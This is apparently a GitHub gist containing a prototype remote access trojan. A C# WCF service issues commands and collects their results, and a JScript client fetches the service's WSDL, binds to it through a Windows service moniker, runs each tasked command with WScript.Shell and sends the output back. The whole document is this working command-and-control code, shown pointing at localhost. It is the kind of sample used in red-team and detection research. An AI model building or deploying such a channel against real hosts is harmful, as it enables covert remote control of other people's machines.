Created
February 13, 2017 02:36
-
-
Save secretsquirrel/f5743120bdc18329fe401af2024f93af to your computer and use it in GitHub Desktop.
WCF - JavaScript JS Rat Basic Prototype
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections.Generic; | |
using System.Linq; | |
using System.Text; | |
using System.ServiceModel; | |
using System.ServiceModel.Description; | |
using System.Reflection; | |
[ServiceContract] | |
public interface IRat | |
{ | |
[OperationContract] | |
string Tasking(); | |
[OperationContract] | |
void Response(string output); | |
} | |
public class Rat : IRat | |
{ | |
public string Tasking() | |
{ | |
return "ipconfig.exe /all"; | |
} | |
public void Response(string output) | |
{ | |
Console.WriteLine(output); | |
} | |
} | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
Uri baseAddress = new Uri("http://localhost:8080/hello.svc"); | |
// Create the ServiceHost. | |
using (ServiceHost host = new ServiceHost(typeof(Rat), baseAddress)) | |
{ | |
// Enable metadata publishing. | |
ServiceMetadataBehavior smb = new ServiceMetadataBehavior(); | |
smb.HttpGetEnabled = true; | |
smb.MetadataExporter.PolicyVersion = PolicyVersion.Policy15; | |
host.Description.Behaviors.Add(smb); | |
// Open the ServiceHost to start listening for messages. Since | |
// no endpoints are explicitly configured, the runtime will create | |
// one endpoint per base address for each service contract implemented | |
// by the service. | |
host.Open(); | |
Console.WriteLine("The service is ready at {0}", baseAddress); | |
Console.WriteLine("Press <Enter> to stop the service."); | |
Console.ReadLine(); | |
// Close the ServiceHost. | |
host.Close(); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var h = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); | |
h.Open("GET","http://localhost:8080/hello.svc?wsdl",false); | |
h.Send(); | |
var xmlDoc = h.ResponseText; | |
var y = GetObject("service4:address='http://localhost:8080/hello.svc',wsdl="+xmlDoc+" , binding='BasicHttpBinding_IRat' , bindingNamespace='http://tempuri.org/', contract='IRat', contractNamespace='http://tempuri.org/'"); | |
var c = y.Tasking(); | |
var so; | |
var r = new ActiveXObject("WScript.Shell").Exec(c); | |
while(!r.StdOut.AtEndOfStream){so=r.StdOut.ReadAll()} | |
y.Response(so); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment